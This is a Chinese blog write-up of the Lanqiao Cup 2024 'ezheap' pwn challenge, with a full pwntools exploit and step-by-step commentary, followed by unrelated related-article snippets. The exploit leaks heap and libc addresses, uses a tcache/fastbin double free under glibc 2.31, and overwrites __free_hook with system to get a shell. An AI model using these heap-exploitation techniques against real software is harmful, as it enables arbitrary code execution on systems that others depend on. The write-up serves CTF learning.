[蓝桥杯2024]-PWN:ezheap解析(堆glibc2.31,glibc2.31下的double free)

news/2024/9/20 8:57:18/ 标签: 蓝桥杯, 职场和发展

查看保护

查看ida

大致就是只能创建0x60大小的堆块,并且uaf只能利用一次

完整exp:

from pwn import*
#context(log_level='debug')
p=process('./ezheap2.31')def alloc(content):p.sendlineafter(b'4.exit',b'1')p.send(content)
def free(index):p.sendlineafter(b'4.exit',b'2')p.sendline(str(index))
def show(index):p.sendlineafter(b'4.exit',b'3')p.sendline(str(index))
def uaffree(index):p.sendlineafter(b'4.exit',b'2106373')p.sendline(str(index))for i in range(3):alloc(b'a')
for i in range(2,0,-1):free(i)
alloc(b'a')
show(1)
p.recvuntil(b'a')
heapbase=(u64(p.recv(5).ljust(8,b'\x00'))<<8)-0x300
print(hex(heapbase))
alloc(b'a')
for i in range(10):alloc(b'a')
for i in range(7,0,-1):free(i)
uaffree(0)
payload=b'\x00'*0x18+p64(0x61)
alloc(payload)
free(0)
payload=p64(heapbase+0x290+0x10+0x10)
alloc(payload)
for i in range(7):payload=b'\x00'*0x18+p64(0x61)alloc(payload)
payload=b'\x00'*0x38+p64(0x60*11+1)
alloc(payload)
free(1)
alloc(b'a')
show(1)
onelibc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(onelibc))
libc_start_main243=onelibc-0x61-0x1c8e7d
libc_start_main=libc_start_main243-243
libc=ELF('/home/pwn/libc.so.6')
libcbase=libc_start_main-libc.sym['__libc_start_main']
system=libcbase+libc.sym['system']
freehook=libcbase+libc.sym['__free_hook']
print(hex(system))
free(10)
free(1)
free(14)
payload=b'\x00'*0x38+p64(0x61)+p64(freehook)
alloc(payload)
payload=b'/bin/sh\x00'
alloc(payload)
payload=p64(system)
alloc(payload)
free(10)
p.interactive()

这里分为以下几个部分来讲

获取heap基地址:

for i in range(3):alloc(b'a')
for i in range(2,0,-1):free(i)
alloc(b'a')
show(1)
p.recvuntil(b'a')
heapbase=(u64(p.recv(5).ljust(8,b'\x00'))<<8)-0x300

在此版本中释放两个堆块后,在tcachebin中后一个堆块的fd会指向前一个堆块的fd,也就是存储前一个堆块的fd地址,而malloc不会清空内存,就可以泄露出heap地址了。

实现前提:

申请堆块不会清空内存

泄露libc地址:

alloc(b'a')
for i in range(10):alloc(b'a')
for i in range(7,0,-1):free(i)
uaffree(0)
payload=b'\x00'*0x18+p64(0x61)
alloc(payload)
free(0)
payload=p64(heapbase+0x290+0x10+0x10)
alloc(payload)
for i in range(7):payload=b'\x00'*0x18+p64(0x61)alloc(payload)
payload=b'\x00'*0x38+p64(0x60*11+1)
alloc(payload)
free(1)
alloc(b'a')
show(1)
onelibc=u64(p.recvuntil(b'\x7f')[-6:].ljust(8,b'\x00'))
print(hex(onelibc))
libc_start_main243=onelibc-0x61-0x1c8e7d
libc_start_main=libc_start_main243-243
libc=ELF('/home/pwn/libc.so.6')
libcbase=libc_start_main-libc.sym['__libc_start_main']
system=libcbase+libc.sym['system']
freehook=libcbase+libc.sym['__free_hook']
print(hex(system))

这里要运用uaf的原因是因为程序会通过检测堆数组里是否有所释放堆块的地址。这里用到了double free,这个版本下的tcachebin已经没有办法像glibc2.27那样直接free同一个堆块两次了,只能用将同一个堆块放入tcachebin和fastbin,因为2.31是通过检查堆块是否在tcachebin中来防范double free的,通过这种方法可以实现2.31下的double free。而用完double free之后在一个堆块的中间又创建一个堆块来方便修改下一个堆块的size和fd是因为我们要利用任意地址创建堆块两次。

题目要求:

地址在堆块数组中的堆块才能free

实现前提:

uaf漏洞

getshell:

free(10)
free(1)
free(14)
payload=b'\x00'*0x38+p64(0x61)+p64(freehook)
alloc(payload)
payload=b'/bin/sh\x00'
alloc(payload)
payload=p64(system)
alloc(payload)
free(10)

操作前提:

有一个可以修改另一个堆块的fd的堆块

#补充点:题目的接收好像有点问题,exp多试几次才能出。


http://www.ppmy.cn/news/1451953.html

相关文章

Qt扫盲-Qt D-Bus概述

Qt D-Bus概述 一、概述二、总线三、相关概念1. 消息2. 服务名称3. 对象的路径4. 接口5. 备忘单 四、调试五、使用Qt D-Bus 适配器1. 在 D-Bus 适配器中声明槽函数1. 异步槽2. 只输入槽3. 输入输出槽4. 自动回复5. 延迟回复 一、概述 D-Bus是一种进程间通信(IPC)和远程过程调用…

ubuntu Qt打包

在Linux 下如何打包免安装的QT程序&#xff1f;-CSDN博客 [教程][Ubuntu][Qt]将Qt程序打包成deb文件&#xff0c;发布、安装及使用_qt生成deb-CSDN博客

前端关于location的方法以属性

目录 一、location是用来做什么的&#xff1f; 二、location的属性和方法能实现什么功能&#xff1f; 功能一&#xff1a;获取当前页面的URL信息 功能二&#xff1a;页面跳转 location.assign() 附&#xff1a;其他页面跳转的方法 1.location.href 2.window.open() …

QAnything知识库问答系统离线部署(LLM+RAG)

一、QAnything介绍 &#xff08;一&#xff09;简介 QAnything 是网易有道开源的一个问答系统框架&#xff0c;支持私有化部署和SaaS服务两种调用形式。它能够支持多种格式的文件或数据库&#xff0c;提供准确、快速和可靠的问答体验。目前已支持的文件格式包括PDF、Word、PP…

微信小程序开发:深入实现地图导航功能【含代码示例】

微信小程序开发&#xff1a;深入实现地图导航功能【含代码示例】 一、引言二、准备工作三、集成地图SDK四、实现地图显示五、添加标记点和路线 一、引言 微信小程序作为一种轻量级的应用程序&#xff0c;凭借其无需安装、即用即走的特点&#xff0c;迅速在移动应用市场中占据了…

【软件工程】概要设计

目录 前言软件设计简介概要设计模块化模块化的评价耦合内聚 面向对象设计原则Liskov替换原则&#xff08;LSP&#xff09;开放-封闭原则&#xff08;OCP&#xff09;单一职责原则&#xff08;SRP&#xff09;接口隔离原则&#xff08;ISP&#xff09;依赖倒置原则&#xff08;D…

关于springboot内置tomcat最大请求数配置的一些问题

前言 springboot内置了tomcat。那么一个springboot web应用&#xff0c;最大的请求链接数是多少呢&#xff1f;很早以前就知道这个是有个配置&#xff0c;需要的时候&#xff0c;百度一下即可。但&#xff0c;事实并非如此&#xff0c;有几个问题我想大多数人还真不知道。比如…

基于Sping Boot集成的websocket实现聊天室

Spring Boot整合WebSocket实现聊天室 Spring Boot 提供了 Websocket 组件 spring-boot-starter-websocket&#xff0c;用来支持在 Spring Boot环境下对Websocket 的使用。 下面我们就以多人在线聊天室为例&#xff0c;演示 Spring Boot 是如何整合Websocket 实现服务端消息推…

python(abi)是什么,有什么作用呢

python(abi) 是一个特殊的提供项&#xff0c;用于指定软件包所支持的Python ABI&#xff08;Application Binary Interface&#xff09;版本。 Python ABI是一种约定&#xff0c;用于定义Python解释器和扩展模块之间的二进制接口。它确保了不同版本的Python解释器和扩展模块之…

如何使用提示测试为LLMs构建单元测试?

原文地址&#xff1a;how-to-build-unit-tests-for-llms-using-prompt-testing 确保您的人工智能交付&#xff1a;快速测试完美生成应用程序的基本指南 2024 年 4 月 26 日 如果你曾经编写过软件&#xff0c;你就会知道测试是开发过程中必不可少的一部分。特别是单元测试&#…

JavaWeb--1.Servlet

Servlet&#xff08;基础&#xff09; 1、配置依赖&#xff1a; ​ 在pom.xml文件中加入相关依赖 <dependencies><dependency><groupId>jakarta.servlet</groupId><artifactId>jakarta.servlet-api</artifactId><version>5.0.0&l…

KAN网络认识

首先&#xff0c;这是一个基于柯尔莫哥洛夫-阿诺德表示定理的网络。这个定理指出如果函数f是定义在有界域上的多变量连续函数&#xff08;即最终要拟合的非线性函数是连续的&#xff09;&#xff0c;那么该函数就可以表示为多个单变量、加法连续函数的有线组合。 对于机器学习…

手撸Mybatis(三)——收敛SQL操作到SqlSession

本专栏的源码&#xff1a;https://gitee.com/dhi-chen-xiaoyang/yang-mybatis。 引言 在上一章中&#xff0c;我们实现了读取mapper配置并构造相关的mapper代理对象&#xff0c;读取mapper.xml文件中的sql信息等操作&#xff0c;现在&#xff0c;在上一章的基础上&#xff0c…

【热门话题】Chrome 插件研发详解:从入门到实践

&#x1f308;个人主页: 鑫宝Code &#x1f525;热门专栏: 闲话杂谈&#xff5c; 炫酷HTML | JavaScript基础 ​&#x1f4ab;个人格言: "如无必要&#xff0c;勿增实体" 文章目录 Chrome 插件研发详解&#xff1a;从入门到实践一、引言二、Chrome 插件基础概念…

嵌入式物联网系统软硬件基础知识大全(2)

接口技术 1. Flash存储器 (1)Flash存储器是一种非易失性存储器,根据结构的不同可以将其分为NOR Flash和NAND Flash两种。 (2)Flash存储器的特点: A、区块结构:在物理上分成若干个区块,区块之间相互独立。 B、先擦后写:Flash的写操作只能将数据位从1写成0,不能从…

写自己的c库----小话c语言(19)

Q&#xff1a; 对于c代码&#xff0c;经常可能被c代码使用&#xff0c;所以经常需要使用extern "C"语句&#xff0c;老是写这段代码真是很烦人&#xff0c;有什么好的方法&#xff1f; A&#xff1a; 对于重复代码来说&#xff0c;宏无疑是个很好的方法。 #if defin…

spring高级篇(八)

本篇对Spring MVC 的执行流程做一个简单总结 MVC执行流程总结 当浏览器发送一个请求&#xff0c;例如http://localhost:8080/hello&#xff0c;请求到达服务器后&#xff0c;一般会进行如下操作&#xff1a; 1、首先会经过DispatcherServlet&#xff0c;默认映射路径为 /&…

global IoT SIM解决方案

有任何关于GSMA\IOT\eSIM\RSP\业务应用场景相关的问题&#xff0c;欢迎W: xiangcunge59 一起讨论, 共同进步 (加的时候请注明: 来自CSDN-iot). Onomondo提供的全球IoT SIM卡解决方案具有以下特点和优势&#xff1a; 1. **单一全球配置文件**&#xff1a;Onomondo的SIM卡拥…

Apache POI 在java中处理excel

介绍: Apache POI 是一个处理Miscrosoft Office各种文件格式的开源项目。简单来说就是&#xff0c;我们可以使用 POI 在 Java 程序中对Miscrosoft Office各种文件进行读写操作。 一般情况下&#xff0c;POI 都是用于操作 Excel 文件。 如何使用: 1.maven坐标引入 <depend…

【RabbitMQ 一】RabbitMQ简介、消息中间件、MQ的作用

RabbitMQ简介 很多介绍RabbitMQ的地方&#xff0c;上来就说这是一种消息中间件&#xff08;Message Queue Middleware&#xff09;。对于一些新手或者初级开发人员&#xff0c;“中间件”的概念并不是很清晰。那么什么是中间件呢&#xff1f; 1.什么是中间件 个人以为&#…